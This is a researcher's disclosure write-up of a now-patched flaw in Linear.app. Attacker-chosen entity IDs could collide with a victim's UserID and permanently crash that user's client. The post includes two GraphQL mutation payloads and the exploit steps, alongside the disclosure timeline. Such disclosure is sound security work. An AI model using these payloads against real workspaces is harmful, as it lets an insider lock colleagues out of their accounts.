CVSS 6.5 Persistent State Corruption in Linear.app
CVSS Analysis
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Executive Summary
In late August 2025, I assessed Linear.app, the industry-standard project management tool used by companies like OpenAI, Vercel, and Cash App. During this research, I discovered a critical architectural flaw in their entity creation pipeline.
The vulnerability was not a standard permission bypass. It was a state corruption logic bug. By abusing the API’s reliance on client-side ID generation, an attacker could force a collision between a User entity and an Issue/Document entity. This collision permanently corrupted the target user’s session state. The result was a persistent Denial of Service (DoS) with no recovery path via standard admin controls.
Technical Breakdown
The core of the issue lies in how Linear handles offline-first capabilities. To support “Optimistic UI” updates where the interface updates before server confirmation, the client is allowed to generate UUIDs for new entities.
Architectural Root Cause:
While the backend database remained intact (no server-side data corruption), the backend failed to validate that user-supplied IDs did not collide with restricted namespaces (like UserID).
The issue manifested as a client-side hydration failure. The global graph treated IDs as unique keys but did not enforce type consistency. When the client received a User object and an Issue object sharing the same ID, the application crashed while attempting to reconcile the conflicting types.
Update (Post-Disclosure Analysis): Further discussions with the vendor confirmed the backend integrity. However, the architectural failure remains: users should never have the power to arbitrarily assign IDs that collide with restricted namespaces, regardless of whether the failure manifests on the server or the client.
The Exploit Chain
- Reconnaissance: The attacker identifies the target’s
UserID. This is public information within a workspace’s graph. - Collision Injection: The attacker sends a raw GraphQL mutation to create a new
IssueandDocument. They explicitly set theidfield to match the victim’sUserID. - State Poisoning: To force the victim’s client to ingest this corrupted data, the attacker adds the victim as a
subscriberto the malformed entity. - The Crash: When the victim’s client attempts to hydrate the application state, it encounters a type mismatch. It expects a
Userschema but receivesIssuedata for that ID. The frontend crashes immediately and permanently.
Proof of Concept
I created a temporary Linear workspace to demonstrate the vulnerability. I created two accounts, attacker and victim. The following video shows the entire exploit process in action. It demonstrates that even after reloading, clearing cache, logging out/in, and deleting the malformed issue entry, the victim’s account remains unusable.
Stage 1: The Collision
The following GraphQL mutation creates the conflicting entities. Note the id fields hardcoded to the target’s UserID.
Note: irrelevant fields have been omitted for clarity.
{
"query": "mutation IssueCreate_DocumentContentCreate($issueCreateInput: IssueCreateInput!, $documentContentCreateInput: DocumentContentCreateInput!) { o1:issueCreate(input: $issueCreateInput) { lastSyncId }, o2:documentContentCreate(input: $documentContentCreateInput) { lastSyncId } }",
"variables": {
"issueCreateInput": {
"id": "VICTIM_USER_ID", // Collision Trigger
"title": "Corrupted State POC",
"assigneeId": "VICTIM_USER_ID" // Assigning to victim
},
"documentContentCreateInput": {
"id": "RANDOM_DOCUMENT_ID",
"issueId": "VICTIM_USER_ID" // Linking content to the collided ID
}
},
"operationName": "IssueCreate_DocumentContentCreate"
}
Stage 2: The Trigger Once the corrupted entity exists in the backend, we must force the victim’s client to fetch it. We do this by subscribing them to the issue.
{
"query": "mutation IssueUpdate($issueUpdateInput: IssueUpdateInput!) { issueUpdate(id: \"VICTIM_USER_ID\", input: $issueUpdateInput) { lastSyncId } }",
"variables": {
"issueUpdateInput": {
"subscriberIds": [
"VICTIM_USER_ID" // Ensuring victim fetches the corrupted entity
]
}
},
"operationName": "IssueUpdate"
}
Impact Analysis
Note on Severity Classification: The initial CVSS score of 8.1 was revised to 6.5 after vendor collaboration clarified that the backend database remained intact. The corruption was isolated to client-side state hydration rather than persistent data corruption. However, the architectural flaw, allowing users to arbitrarily assign IDs that collide with restricted namespaces remains a significant security concern regardless of where the failure manifests.
- Availability (High): This is a permanent Denial of Service. The victim cannot log in, cannot refresh, and cannot use the web app in any capacity without engineering intervention.
- Insider Threat Vector: This is the critical business risk. A disgruntled employee or a compromised low-level account could script this attack to “brick” every administrator and key stakeholder in a workspace within seconds. This would cause massive operational disruption.
Disclosure Timeline & Vendor Response
The disclosure process involved an initial misalignment regarding severity. This was followed by a professional re-evaluation and rapid patching.
Aug 25, 2025: Vulnerability discovered during independent research.Sep 09, 2025: Full technical report and video POC submitted to Linear Security.Sep 10, 2025(The Pushback): Linear initially triaged the report as “Low Risk/Accepted Risk” citing:“I believe this is a known issue that we’re okay with at present due to the attack scenario only being possible within a workspace’s security boundary - a user in one workspace cannot affect a user in a different workspace.”
- My Response: I formally contested this classification. Given that there was nothing to prevent this from happening and the immense potential for abuse, I outlined the Insider Threat scenario (e.g., a fired employee nuking the workspace before access revocation or a compromised account launching the attack).
Sep 11, 2025: Re-evaluation. The Security Lead acknowledged the validity of the persistence and insider threat arguments. The report was escalated.Sep 12, 2025: Patch Deployed. Linear rolled out a fix that prevents client-side ID generation from colliding with existing User IDs.Sep 23, 2025: Bounty awarded.
The “PayPal in Azerbaijan” Hurdle
The technical resolution was successful. However, the administrative side highlighted the friction researchers in the CIS region face. Linear was unable to process Crypto payments (USDT/LTC), and PayPal does not service Azerbaijan. I ultimately had to route the bounty through a proxy contact. It is frustrating to say the least, that many researchers face geopolitical barriers when trying to help improve global security and get compensated fairly for their work.
Conclusion
This finding reinforces a key architectural lesson for modern web apps: Trust, is inevitably, a double-edged sword.
Optimistic UI is a great user experience pattern. But if you allow the client to dictate IDs, the backend must strictly validate those IDs against the entire global namespace to prevent collisions. Linear’s team, despite the initial hesitation, acted professionally. They patched a dangerous logic bomb that could have been devastating in a corporate sabotage scenario.